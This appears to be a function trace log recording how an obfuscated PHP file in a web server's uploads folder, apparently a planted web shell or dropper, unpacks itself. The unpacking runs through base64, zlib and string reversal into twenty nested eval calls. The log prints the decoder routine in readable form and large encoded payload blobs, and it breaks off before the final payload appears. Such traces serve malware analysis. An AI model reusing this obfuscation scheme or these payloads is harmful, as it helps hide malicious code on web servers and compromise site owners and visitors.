L0GkLZCQqGMDhro6KpaZgKRbuH5UYbhH1Fa7IJn7iS7VtX69SpHWJGmCDte+WKVlKx4X2dDXFKfsgJ+W5ijHM7KiRujnmVXMzmCTlyxfaAD1PzXBlo1ooqDx8ggopfTUmJTeDWzq4RPYJmo+uSCCYGoe4qcQ8SJIsn1fWhN/HOyTtrRZy2o8JGGOoD3D2KMLduekRGajy3gdzX51CZ7tM0njxaXuTcyBWWtKzFharBgR0DYTugkWtzlfBu2IwVQZICdDzbY5tT8HCKut2VRSoiSjgE68x8uY8FR3SM5OsLZ6SuO/ged9LCCvJilolRyLY5e44YwOPy1Sw+A/Ja6Pzjv7X/s/z6vwBIU6NV\')));'	/var/www/html/uploads/fox.php	7	0
3	8	0	0.000976	426792	base64_decode	0		/var/www/html/uploads/fox.php(7) : eval()'d code	1	1	'eJy1eVcPxLjV3bO/X7ExFtjdjJFRL9jsg3oZ9S69GOpdo94M//fIa68NJAiQl1AYQbykLi8p8txzMHXxw8//rdiGdK2/w1/zs17W5eefqvyEknr46Zdf/vZff/qj9Yd/WX/+8XlY1vmXv/3wX3/604/DD7/98NS6/D8Nv/7esDx9f/vzn3/94Yffq/VvwGP/4V/lqOou//nH+n/+ODx+/lmeXn/6Mf7ht2VLHi9/ePvLj/VfoF9+/eE/5fd+6TPsGKftz38W//uf//Jj/M9B/1Q/83mG+g345W//DODH9Ne//96Sd0v+wz+N/+M/1h/r12/Q76/+Xp/zdZuHH37v9Q/rY/z7f/17Af56J93+849/jR2dT4hnhH89/Tvif9X/8nM9rL/8/Md6/QSDz0XAxLOev/z6//wS8HT/341QBqP/9vRHsP9y8Ovff/xrMIBo+dtPvwf60zMUVlxY+ttPSbzkGPLXLE+/Wf7Tr/+ZkDVXZL64lrSUZ71yxfdSyu0J'
3	8	1	0.001025	435016
3	8	R			'x��yW\017ĸ�ݳ�_�1\026�݌�Q/��z\031�.�\030�]��\f���k�\r$\b��P\030A��./)��s0u����؆t���_�^��矪���z��_��_����Y��yX�����_�ӏ�\017���Ժ�?\r��ް<}����߫�o�c��_��.����8<~�Y�^�1��eK\036/x�ˏ�_�_~��?�~�3�\030���\026�����c��A�T?�y��\r��o�\f���׿�ޒwK��?���?�\037��o��^��u��\037~�\017�c���{\001�z\'���\035�O�g�=�;���s=�����z�\004��E�ĳ������\022�t�ߍP\006����G��r����k0�h��O�\a��3\024V\\X��OI��\030��,O�Y�ӯ���5Wd�����g�r�R��\t\t�#�\025�_�Vv�$�~���_�]���\037\021<Ә��򮇢������?\026�\0'
3	9	0	0.001173	434984	gzuncompress	0		/var/www/html/uploads/fox.php(7) : eval()'d code	1	1	'x��yW\017ĸ�ݳ�_�1\026�݌�Q/��z\031�.�\030�]��\f���k�\r$\b��P\030A��./)��s0u����؆t���_�^��矪���z��_��_����Y��yX�����_�ӏ�\017���Ժ�?\r��ް<}����߫�o�c��_��.����8<~�Y�^�1��eK\036/x�ˏ�_�_~��?�~�3�\030���\026�����c��A�T?�y��\r��o�\f���׿�ޒwK��?���?�\037��o��^��u��\037~�\017�c���{\001�z\'���\035�O�g�=�;���s=�����z�\004��E�ĳ������\022�t�ߍP\006����G��r����k0�h��O�\a��3\024V\\X��OI��\030��,O�Y�ӯ���5Wd�����g�r�R��\t\t�#�\025�_�Vv�$�~���_�]���\037\021<Ә��򮇢������?\026�\0'
3	9	1	0.001351	443208
3	9	R			'if (!function_exists(\'hex2bin\')){\n\tfunction hex2bin($hexstr){ \n\t\t$n = strlen($hexstr); \n\t\t$sbin="";   \n\t\t$i=0; \n        while($i<$n){       \n\t\t\t$a =substr($hexstr,$i,2);           \n\t\t\t$c = pack("H*",$a); \n\t\t\tif ($i==0){$sbin=$c;} \n\t\t\telse {$sbin.=$c;} \n\t\t\t$i+=2; \n\t\t} \n\t\treturn $sbin; \n\t} \n}\nfunction _zblv($_aTOFb8){$_aTOFb8=substr($_aTOFb8,(int)(hex2bin(\'31313838\')));$_aTOFb8=substr($_aTOFb8,(int)(hex2bin(\'30\')),(int)(hex2bin(\'2d353838\')));return $_aTOFb8;}$'
3	10	0	0.001462	452832	eval	1	'if (!function_exists(\'hex2bin\')){\n\tfunction hex2bin($hexstr){ \n\t\t$n = strlen($hexstr); \n\t\t$sbin="";   \n\t\t$i=0; \n        while($i<$n){       \n\t\t\t$a =substr($hexstr,$i,2);           \n\t\t\t$c = pack("H*",$a); \n\t\t\tif ($i==0){$sbin=$c;} \n\t\t\telse {$sbin.=$c;} \n\t\t\t$i+=2; \n\t\t} \n\t\treturn $sbin; \n\t} \n}\nfunction _zblv($_aTOFb8){$_aTOFb8=substr($_aTOFb8,(int)(hex2bin(\'31313838\')));$_aTOFb8=substr($_aTOFb8,(int)(hex2bin(\'30\')),(int)(hex2bin(\'2d353838\')));return $_aTOFb8;}$_Xn15g=\'_zblv\';$_6fy6c=\'base64_decode\';function _Rrh9esURIsgxitEfoyLgu($_03ZDkHS){global $_Xn15g;global $_6fy6c;return strrev(gzinflate($_6fy6c(_zblv($_03ZDkHS))));}eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(_Rrh9esURIsgxitEfoyLgu(\'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\')))))))))))))))))))));'	/var/www/html/uploads/fox.php(7) : eval()'d code	1	0
4	11	0	0.001603	452832	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	1	1	'hex2bin'
4	11	1	0.001619	452872
4	11	R			TRUE
3		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	$_Xn15g = '_zblv'
3		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	$_6fy6c = 'base64_decode'
4	12	0	0.001659	452832	_Rrh9esURIsgxitEfoyLgu	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	1	'oDm4lwhsnksjjABBdGQqhR9batdFQQgTrJULp41i8V9Adb61FMFaTeClsNkEzUDcbMKp35YMX9JEGA3T4mjIyl3dF2VeIfZVi8lfHz3huKFnF7xWvlS74fvKKnN1xCMERRzSvEXrSfmud5fUPiOGtEM2E67V4xleoWNIF8IGRpXXFCtVs8HkUwDZStKtw7efqQIgtnlUdhggY48izSTW3DAl789dBh8Noc4gTaVWGx32E1qvauPw0lOxKt6B6nk2LXbyShPCf6KE0gr2ou6CdkWaC1LM9acHXNzkuu72IGUOEM3MHfkQYALtJjVh3ZS5Pjr6K0SPA87GIYhftaevYgOhQ6GDmmOMbataHVtwGogpxGRjmpOLAwkG50uHcpCz3RMXj5UumpUqCoMAb6I5rIiOOzDrlDfKhmDOu5KWHQ2OFXz30oCKu1MCQbk4m9HbvaXE6mVz57GlWvG7X969hWa3DtfPmx4muDe9QKJb11HEFy1nbDgCMQhfhIDEZGBs'
5	13	0	0.001689	452880	_zblv	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	1	'oDm4lwhsnksjjABBdGQqhR9batdFQQgTrJULp41i8V9Adb61FMFaTeClsNkEzUDcbMKp35YMX9JEGA3T4mjIyl3dF2VeIfZVi8lfHz3huKFnF7xWvlS74fvKKnN1xCMERRzSvEXrSfmud5fUPiOGtEM2E67V4xleoWNIF8IGRpXXFCtVs8HkUwDZStKtw7efqQIgtnlUdhggY48izSTW3DAl789dBh8Noc4gTaVWGx32E1qvauPw0lOxKt6B6nk2LXbyShPCf6KE0gr2ou6CdkWaC1LM9acHXNzkuu72IGUOEM3MHfkQYALtJjVh3ZS5Pjr6K0SPA87GIYhftaevYgOhQ6GDmmOMbataHVtwGogpxGRjmpOLAwkG50uHcpCz3RMXj5UumpUqCoMAb6I5rIiOOzDrlDfKhmDOu5KWHQ2OFXz30oCKu1MCQbk4m9HbvaXE6mVz57GlWvG7X969hWa3DtfPmx4muDe9QKJb11HEFy1nbDgCMQhfhIDEZGBs'
6	14	0	0.001717	452880	hex2bin	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	1	'31313838'
6	14	1	0.001732	452944
6	14	R			'1188'
6	15	0	0.001746	452880	substr	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	2	'oDm4lwhsnksjjABBdGQqhR9batdFQQgTrJULp41i8V9Adb61FMFaTeClsNkEzUDcbMKp35YMX9JEGA3T4mjIyl3dF2VeIfZVi8lfHz3huKFnF7xWvlS74fvKKnN1xCMERRzSvEXrSfmud5fUPiOGtEM2E67V4xleoWNIF8IGRpXXFCtVs8HkUwDZStKtw7efqQIgtnlUdhggY48izSTW3DAl789dBh8Noc4gTaVWGx32E1qvauPw0lOxKt6B6nk2LXbyShPCf6KE0gr2ou6CdkWaC1LM9acHXNzkuu72IGUOEM3MHfkQYALtJjVh3ZS5Pjr6K0SPA87GIYhftaevYgOhQ6GDmmOMbataHVtwGogpxGRjmpOLAwkG50uHcpCz3RMXj5UumpUqCoMAb6I5rIiOOzDrlDfKhmDOu5KWHQ2OFXz30oCKu1MCQbk4m9HbvaXE6mVz57GlWvG7X969hWa3DtfPmx4muDe9QKJb11HEFy1nbDgCMQhfhIDEZGBs'	1188
6	15	1	0.001775	461136
6	15	R			'zVh5XBNXHrfq1qNe2123resRMCsZDSEJEYEwimJQViRIgqw1MUySCQmEJM5MJBrHUhdBxLN122rrrVW3Kq1HPVZdq3TrsVWrtl1719bberXY03XfmyMZmAnirn8sfsCZN7/3+33f733f73i0nnbq1Gp1SB2mF5wIm3KHjzDmjpKr4gNBeVJSeoCi3PEqq0MHJSYKJWR+twPX03adeKrXi7tJwWwMGoihAGkmrSApH075/A4bhZfY4FAYJ7043TJM8n/DSd4faBhBGHGbDw/45Uo6TacWw1G4HRRWbivBiYDC5RGujbWg8BLBLOYRFSjTxxNyNGTMHgaW4vNg5X6nPB4F69LHk4IBVpUeIUnc4cAoN8AwOFkCg4ry+wm5Ap+CkXrEmqoTr0dpxTSiQVUgaCM8zqbTdboUdWuknf5yt+OBrIG1P4C1ptKcNQJ3Yn4v8JMy2FSP0VQU8mfLlaRwmNbHDx0m0ycMpQIewkEmZYBnS9TvCRbUhRNulc/voTCH'
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	$_aTOFb8 = 'zVh5XBNXHrfq1qNe2123resRMCsZDSEJEYEwimJQViRIgqw1MUySCQmEJM5MJBrHUhdBxLN122rrrVW3Kq1HPVZdq3TrsVWrtl1719bberXY03XfmyMZmAnirn8sfsCZN7/3+33f733f73i0nnbq1Gp1SB2mF5wIm3KHjzDmjpKr4gNBeVJSeoCi3PEqq0MHJSYKJWR+twPX03adeKrXi7tJwWwMGoihAGkmrSApH075/A4bhZfY4FAYJ7043TJM8n/DSd4faBhBGHGbDw/45Uo6TacWw1G4HRRWbivBiYDC5RGujbWg8BLBLOYRFSjTxxNyNGTMHgaW4vNg5X6nPB4F69LHk4IBVpUeIUnc4cAoN8AwOFkCg4ry+wm5Ap+CkXrEmqoTr0dpxTSiQVUgaCM8zqbTdboUdWuknf5yt+OBrIG1P4C1ptKcNQJ3Yn4v8JMy2FSP0VQU8mfLlaRwmNbHDx0m0ycMpQIewkEmZYBnS9TvCRbUhRNulc/voTCH'
6	16	0	0.001835	461072	hex2bin	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	1	'30'
6	16	1	0.001849	461136
6	16	R			'0'
6	17	0	0.001862	461072	hex2bin	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	1	'2d353838'
6	17	1	0.001876	461136
6	17	R			'-588'
6	18	0	0.001889	461072	substr	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	3	'zVh5XBNXHrfq1qNe2123resRMCsZDSEJEYEwimJQViRIgqw1MUySCQmEJM5MJBrHUhdBxLN122rrrVW3Kq1HPVZdq3TrsVWrtl1719bberXY03XfmyMZmAnirn8sfsCZN7/3+33f733f73i0nnbq1Gp1SB2mF5wIm3KHjzDmjpKr4gNBeVJSeoCi3PEqq0MHJSYKJWR+twPX03adeKrXi7tJwWwMGoihAGkmrSApH075/A4bhZfY4FAYJ7043TJM8n/DSd4faBhBGHGbDw/45Uo6TacWw1G4HRRWbivBiYDC5RGujbWg8BLBLOYRFSjTxxNyNGTMHgaW4vNg5X6nPB4F69LHk4IBVpUeIUnc4cAoN8AwOFkCg4ry+wm5Ap+CkXrEmqoTr0dpxTSiQVUgaCM8zqbTdboUdWuknf5yt+OBrIG1P4C1ptKcNQJ3Yn4v8JMy2FSP0VQU8mfLlaRwmNbHDx0m0ycMpQIewkEmZYBnS9TvCRbUhRNulc/voTCH'	0	-588
6	18	1	0.001918	469360
6	18	R			'zVh5XBNXHrfq1qNe2123resRMCsZDSEJEYEwimJQViRIgqw1MUySCQmEJM5MJBrHUhdBxLN122rrrVW3Kq1HPVZdq3TrsVWrtl1719bberXY03XfmyMZmAnirn8sfsCZN7/3+33f733f73i0nnbq1Gp1SB2mF5wIm3KHjzDmjpKr4gNBeVJSeoCi3PEqq0MHJSYKJWR+twPX03adeKrXi7tJwWwMGoihAGkmrSApH075/A4bhZfY4FAYJ7043TJM8n/DSd4faBhBGHGbDw/45Uo6TacWw1G4HRRWbivBiYDC5RGujbWg8BLBLOYRFSjTxxNyNGTMHgaW4vNg5X6nPB4F69LHk4IBVpUeIUnc4cAoN8AwOFkCg4ry+wm5Ap+CkXrEmqoTr0dpxTSiQVUgaCM8zqbTdboUdWuknf5yt+OBrIG1P4C1ptKcNQJ3Yn4v8JMy2FSP0VQU8mfLlaRwmNbHDx0m0ycMpQIewkEmZYBnS9TvCRbUhRNulc/voTCH'
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	$_aTOFb8 = 'zVh5XBNXHrfq1qNe2123resRMCsZDSEJEYEwimJQViRIgqw1MUySCQmEJM5MJBrHUhdBxLN122rrrVW3Kq1HPVZdq3TrsVWrtl1719bberXY03XfmyMZmAnirn8sfsCZN7/3+33f733f73i0nnbq1Gp1SB2mF5wIm3KHjzDmjpKr4gNBeVJSeoCi3PEqq0MHJSYKJWR+twPX03adeKrXi7tJwWwMGoihAGkmrSApH075/A4bhZfY4FAYJ7043TJM8n/DSd4faBhBGHGbDw/45Uo6TacWw1G4HRRWbivBiYDC5RGujbWg8BLBLOYRFSjTxxNyNGTMHgaW4vNg5X6nPB4F69LHk4IBVpUeIUnc4cAoN8AwOFkCg4ry+wm5Ap+CkXrEmqoTr0dpxTSiQVUgaCM8zqbTdboUdWuknf5yt+OBrIG1P4C1ptKcNQJ3Yn4v8JMy2FSP0VQU8mfLlaRwmNbHDx0m0ycMpQIewkEmZYBnS9TvCRbUhRNulc/voTCH'
5	13	1	0.001983	461072
5	13	R			'zVh5XBNXHrfq1qNe2123resRMCsZDSEJEYEwimJQViRIgqw1MUySCQmEJM5MJBrHUhdBxLN122rrrVW3Kq1HPVZdq3TrsVWrtl1719bberXY03XfmyMZmAnirn8sfsCZN7/3+33f733f73i0nnbq1Gp1SB2mF5wIm3KHjzDmjpKr4gNBeVJSeoCi3PEqq0MHJSYKJWR+twPX03adeKrXi7tJwWwMGoihAGkmrSApH075/A4bhZfY4FAYJ7043TJM8n/DSd4faBhBGHGbDw/45Uo6TacWw1G4HRRWbivBiYDC5RGujbWg8BLBLOYRFSjTxxNyNGTMHgaW4vNg5X6nPB4F69LHk4IBVpUeIUnc4cAoN8AwOFkCg4ry+wm5Ap+CkXrEmqoTr0dpxTSiQVUgaCM8zqbTdboUdWuknf5yt+OBrIG1P4C1ptKcNQJ3Yn4v8JMy2FSP0VQU8mfLlaRwmNbHDx0m0ycMpQIewkEmZYBnS9TvCRbUhRNulc/voTCH'
5	19	0	0.002013	461072	base64_decode	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code	16	1	'zVh5XBNXHrfq1qNe2123resRMCsZDSEJEYEwimJQViRIgqw1MUySCQmEJM5MJBrHUhdBxLN122rrrVW3Kq1HPVZdq3TrsVWrtl1719bberXY03XfmyMZmAnirn8sfsCZN7/3+33f733f73i0nnbq1Gp1SB2mF5wIm3KHjzDmjpKr4gNBeVJSeoCi3PEqq0MHJSYKJWR+twPX03adeKrXi7tJwWwMGoihAGkmrSApH075/A4bhZfY4FAYJ7043TJM8n/DSd4faBhBGHGbDw/45Uo6TacWw1G4HRRWbivBiYDC5RGujbWg8BLBLOYRFSjTxxNyNGTMHgaW4vNg5X6nPB4F69LHk4IBVpUeIUnc4cAoN8AwOFkCg4ry+wm5Ap+CkXrEmqoTr0dpxTSiQVUgaCM8zqbTdboUdWuknf5yt+OBrIG1P4C1ptKcNQJ3Yn4v8JMy2FSP0VQU8mfLlaRwmNbHDx0m0ycMpQIewkEmZYBnS9TvCRbUhRNulc/voTCH'
5	19	1	0.002052	469296
